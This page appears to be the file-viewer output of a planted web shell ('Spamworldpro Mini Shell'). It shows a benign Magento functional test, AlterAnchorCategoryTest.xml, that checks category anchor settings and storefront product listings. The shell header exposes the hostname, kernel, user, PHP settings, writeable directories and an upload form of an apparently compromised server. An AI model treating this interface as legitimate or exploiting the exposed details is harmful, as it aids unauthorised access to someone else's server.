Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-catalog/Test/Mftf/Test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-catalog/Test/Mftf/Test/AlterAnchorCategoryTest.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
 /**
  * Copyright © Magento, Inc. All rights reserved.
  * See COPYING.txt for license details.
  */
-->

<tests xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:noNamespaceSchemaLocation="urn:magento:mftf:Test/etc/testSchema.xsd">
    <test  name="AlterAnchorCategoryTest">
        <annotations>
            <stories value="Admin Can Alter Category Anchor setting"/>
            <title value="Alter Category Anchor setting"/>
            <description value="Admin Can Alter Category Anchor setting and it should work perfectly"/>
            <severity value="MAJOR"/>
            <testCaseId value="AC-4114"/>
        </annotations>
        <before>
            <createData entity="_defaultCategory" stepKey="createTestCategory"/>
            <createData entity="Two_nested_categories" stepKey="createSubTestCategory">
                <requiredEntity createDataKey="createTestCategory"/>
            </createData>
            <createData entity="SimpleProductQty100" stepKey="createFirstSimpleProduct">
                <requiredEntity createDataKey="createTestCategory"/>
                <field key="name">Simple1</field>
                <field key="price">90</field>
            </createData>
            <createData entity="ApiSimpleProduct" stepKey="createSecondSimpleProduct">
                <requiredEntity createDataKey="createSubTestCategory"/>
                <field key="name">Simple2</field>
                <field key="price">10</field>
            </createData>
        </before>
        <after>
            <deleteData createDataKey="createFirstSimpleProduct" stepKey="deleteFirstProduct"/>
            <deleteData createDataKey="createSecondSimpleProduct" stepKey="deleteSecondProduct"/>
            <deleteData createDataKey="createSubTestCategory" stepKey="deleteSubCategory"/>
            <deleteData createDataKey="createTestCategory" stepKey="deleteMainCategory"/>
        </after>
        <actionGroup ref="StorefrontGoToCategoryPageActionGroup" stepKey="openCategoryPage">
            <argument name="categoryName" value="$$createTestCategory.name$$"/>
        </actionGroup>
        <see userInput="2" selector="{{StorefrontCategoryMainSection.productCount}} span" stepKey="assertProductCountFirstTime"/>
        <actionGroup ref="AssertStorefrontProductIsPresentOnCategoryPageActionGroup" stepKey="seeFirstSimpleProductNameOnCategoryPage">
            <argument name="productName" value="$$createFirstSimpleProduct.name$$"/>
        </actionGroup>
        <actionGroup ref="AssertStorefrontProductIsPresentOnCategoryPageActionGroup" stepKey="seeSecondSimpleProductNameOnCategoryPage">
            <argument name="productName" value="$$createSecondSimpleProduct.name$$"/>
        </actionGroup>
        <actionGroup ref="AssertStorefrontLayeredNavigationCategoryAndPriceActionGroup" stepKey="checkCategoryAndPriceLayeredNavigationIsPresent">
            <argument name="minPrice" value="10.00"/>
            <argument name="maxPrice" value="19.99"/>
            <argument name="count" value="1"/>
            <argument name="minPrice2" value="90.00"/>
            <argument name="maxPrice2" value=" and above"/>
        </actionGroup>

        <!--Goto Category in admin side and do validation for single Product visibility validation-->
        <actionGroup ref="AdminLoginActionGroup" stepKey="adminLogin"/>
        <actionGroup ref="AdminOpenCategoryGridPageActionGroup" stepKey="openAdminCategoryPage"/>
        <actionGroup ref="ClearFiltersAdminDataGridActionGroup" stepKey="resetGridFilters"/>
        <actionGroup ref="AdminEditCategoryInGridPageActionGroup" stepKey="editCategoryItem">
            <argument name="categoryName" value="$createTestCategory.name$"/>
        </actionGroup>
        <actionGroup ref="AdminCategoryPageOpenProductsInCategorySectionActionGroup" stepKey="clickAdminCategoryProductSection"/>
        <see userInput="$$createFirstSimpleProduct.name$$" selector="{{AdminCategoryBasicFieldSection.presenceProductsInCategory}}" stepKey="seeSingleProduct"/>
        <dontSee selector="{{AdminCategoryProductsGridSection.productGridNameProduct($$createSecondSimpleProduct.name$$)}}"
                 userInput="$$createSecondSimpleProduct.name$$" stepKey="doNotSeeSecondProduct"/>

        <!--Disable anchor Category and do validation for Product and Layered Navigation on StoreFront-->
        <actionGroup ref="AdminToggleAnchorSwitchActionGroup" stepKey="disableAnchorSwitch"/>
        <actionGroup ref="AssertAdminCategorySaveSuccessMessageActionGroup" stepKey="seeSuccessMessage"/>
        <actionGroup ref="StorefrontOpenHomePageActionGroup" stepKey="goToHomePage"/>
        <click selector="{{StorefrontHeaderSection.NavigationCategoryByName($$createTestCategory.name$$)}}" stepKey="cartClickCategory"/>
        <seeInTitle userInput="$$createTestCategory.name$$" stepKey="assertCategoryNameInTitle"/>
        <see userInput="$$createTestCategory.name$$" selector="{{StorefrontCategoryMainSection.CategoryTitle}}" stepKey="assertCategoryName"/>
        <see userInput="1" selector="{{StorefrontCategoryMainSection.productCount}} span" stepKey="assertProductCount"/>
        <seeElement selector="{{StorefrontCategoryProductSection.listedProduct('1')}}" stepKey="assertSimpleProductPresence"/>
        <see userInput="$$createFirstSimpleProduct.name$$" selector="{{StorefrontCategoryProductSection.ProductTitleByNumber('1')}}" stepKey="checkTitle"/>
        <see userInput="$90.00" selector="{{StorefrontCategoryProductSection.ProductPriceByNumber('1')}}" stepKey="checkPrice"/>
        <seeElement selector="{{StorefrontCategorySidebarSection.shopByCategoryLinkButton($$createSubTestCategory.name$$)}}" stepKey="verifyShopByCatLayeredNavigation"/>

        <!--Enable anchor Category and do validation for Product and Layered Navigation on StoreFront-->
        <actionGroup ref="AdminOpenCategoryGridPageActionGroup" stepKey="openAdminCategoryPage2ndTime"/>
        <actionGroup ref="ClearFiltersAdminDataGridActionGroup" stepKey="resetGridFilters2ndTime"/>
        <actionGroup ref="AdminEditCategoryInGridPageActionGroup" stepKey="editCategoryItem2ndTime">
            <argument name="categoryName" value="$createTestCategory.name$"/>
        </actionGroup>
        <actionGroup ref="AdminToggleAnchorSwitchActionGroup" stepKey="enableAnchorSwitch"/>
        <actionGroup ref="AssertAdminCategorySaveSuccessMessageActionGroup" stepKey="seeSuccessMessage2ndTime"/>
        <actionGroup ref="StorefrontGoToCategoryPageActionGroup" stepKey="openCategoryPage2ndTime">
            <argument name="categoryName" value="$$createTestCategory.name$$"/>
        </actionGroup>
        <actionGroup ref="AssertStorefrontProductIsPresentOnCategoryPageActionGroup" stepKey="seeFirstSimpleProductNameOnCategoryPage2ndTime">
            <argument name="productName" value="$$createFirstSimpleProduct.name$$"/>
        </actionGroup>
        <actionGroup ref="AssertStorefrontProductIsPresentOnCategoryPageActionGroup" stepKey="seeSecondSimpleProductNameOnCategoryPage2ndTime">
            <argument name="productName" value="$$createSecondSimpleProduct.name$$"/>
        </actionGroup>
        <actionGroup ref="AssertStorefrontLayeredNavigationCategoryAndPriceActionGroup" stepKey="checkCategoryAndPriceFilterIsPresent2ndTime">
            <argument name="minPrice" value="10.00"/>
            <argument name="maxPrice" value="19.99"/>
            <argument name="count" value="1"/>
            <argument name="minPrice2" value="90.00"/>
            <argument name="maxPrice2" value=" and above"/>
        </actionGroup>

        <!-- Drag drop Category and do Validation for Category and Products on StoreFront-->
        <actionGroup ref="AdminOpenCategoryGridPageActionGroup" stepKey="openAdminCategoryPage3rdTime"/>
        <actionGroup ref="ClearFiltersAdminDataGridActionGroup" stepKey="resetGridFilters3rdTime"/>
        <actionGroup ref="AdminEditCategoryInGridPageActionGroup" stepKey="editCategoryItem3rdTime">
            <argument name="categoryName" value="$createSubTestCategory.name$"/>
        </actionGroup>
        <actionGroup ref="AdminExpandCategoryTreeActionGroup" stepKey="expandCategoryTree"/>
        <actionGroup ref="AdminAssertParentChildCategoryTreeElementsActionGroup" stepKey="assertParentChildCategoryTreeElements">
            <argument name="parentCategoryName" value="$createTestCategory.name$"/>
            <argument name="childCategoryName" value="$createSubTestCategory.name$"/>
        </actionGroup>
        <actionGroup ref="AdminAssertParentChildCategoryTreeElementsActionGroup" stepKey="assertParentChildCategoryTreeElements3rdTime">
            <argument name="parentCategoryName" value="Default Category"/>
            <argument name="childCategoryName" value="$createTestCategory.name$"/>
        </actionGroup>
        <dragAndDrop selector1="{{AdminCategoryBasicFieldSection.sourceCategory($createSubTestCategory.name$)}}" selector2="{{AdminCategoryBasicFieldSection.destinationCategory}}" stepKey="dragAndDrop"/>
        <wait time="10" stepKey="waitForPopUpToLoad"/>
        <grabTextFrom selector="{{AdminCategoryBasicFieldSection.grabPopUpText}}" stepKey="grabTextPopUp"/>
        <assertStringContainsString stepKey="assertDropDownTierPriceTextProduct1">
            <expectedResult type="string">This operation can take a long time</expectedResult>
            <actualResult type="variable">$grabTextPopUp</actualResult>
        </assertStringContainsString>
        <click selector="{{AdminCategoryBasicFieldSection.acceptPopUp}}" stepKey="acceptPopUp"/>
        <wait time="10" stepKey="waitCategoryTreeToLoad"/>
        <magentoCLI command="indexer:reindex" stepKey="performReindex"/>
        <magentoCLI command="cache:flush" stepKey="cleanCache"/>
        <actionGroup ref="AdminAssertParentChildCategoryTreeElementsActionGroup" stepKey="assertParentChildCategoryTreeElements4thTime">
            <argument name="parentCategoryName" value="Default Category"/>
            <argument name="childCategoryName" value="$createSubTestCategory.name$"/>
        </actionGroup>
        <actionGroup ref="AdminAssertParentChildCategoryTreeElementsActionGroup" stepKey="assertParentChildCategoryTreeElements5thTime">
            <argument name="parentCategoryName" value="Default Category"/>
            <argument name="childCategoryName" value="$createTestCategory.name$"/>
        </actionGroup>
        <actionGroup ref="StorefrontGoToCategoryPageActionGroup" stepKey="openCategoryPage3rdTime">
            <argument name="categoryName" value="$$createTestCategory.name$$"/>
        </actionGroup>
        <see userInput="1" selector="{{StorefrontCategoryMainSection.productCount}} span" stepKey="assertProductCount3rdTime"/>
        <actionGroup ref="AssertStorefrontProductIsPresentOnCategoryPageActionGroup" stepKey="seeFirstSimpleProductNameOnCategoryPage3rdTime">
            <argument name="productName" value="$$createFirstSimpleProduct.name$$"/>
        </actionGroup>
        <dontSee selector="{{StorefrontCategorySidebarSection.shopByCategoryLinkButton($$createSubTestCategory.name$$)}}" stepKey="verifyShopByCatLayeredNavigation3rdTime"/>
        <actionGroup ref="StorefrontGoToCategoryPageActionGroup" stepKey="openCategoryPage4thTime">
            <argument name="categoryName" value="$$createSubTestCategory.name$$"/>
        </actionGroup>
        <see userInput="1" selector="{{StorefrontCategoryMainSection.productCount}} span" stepKey="assertProductCount4thTime"/>
        <actionGroup ref="AssertStorefrontProductIsPresentOnCategoryPageActionGroup" stepKey="seeSecondSimpleProductNameOnCategoryPage3rdTime">
            <argument name="productName" value="$$createSecondSimpleProduct.name$$"/>
        </actionGroup>
        <dontSee selector="{{StorefrontCategorySidebarSection.shopByCategoryLinkButton($$createSubTestCategory.name$$)}}" stepKey="verifyShopByCatLayeredNavigation4thTime"/>
    </test>
</tests>

Spamworldpro Mini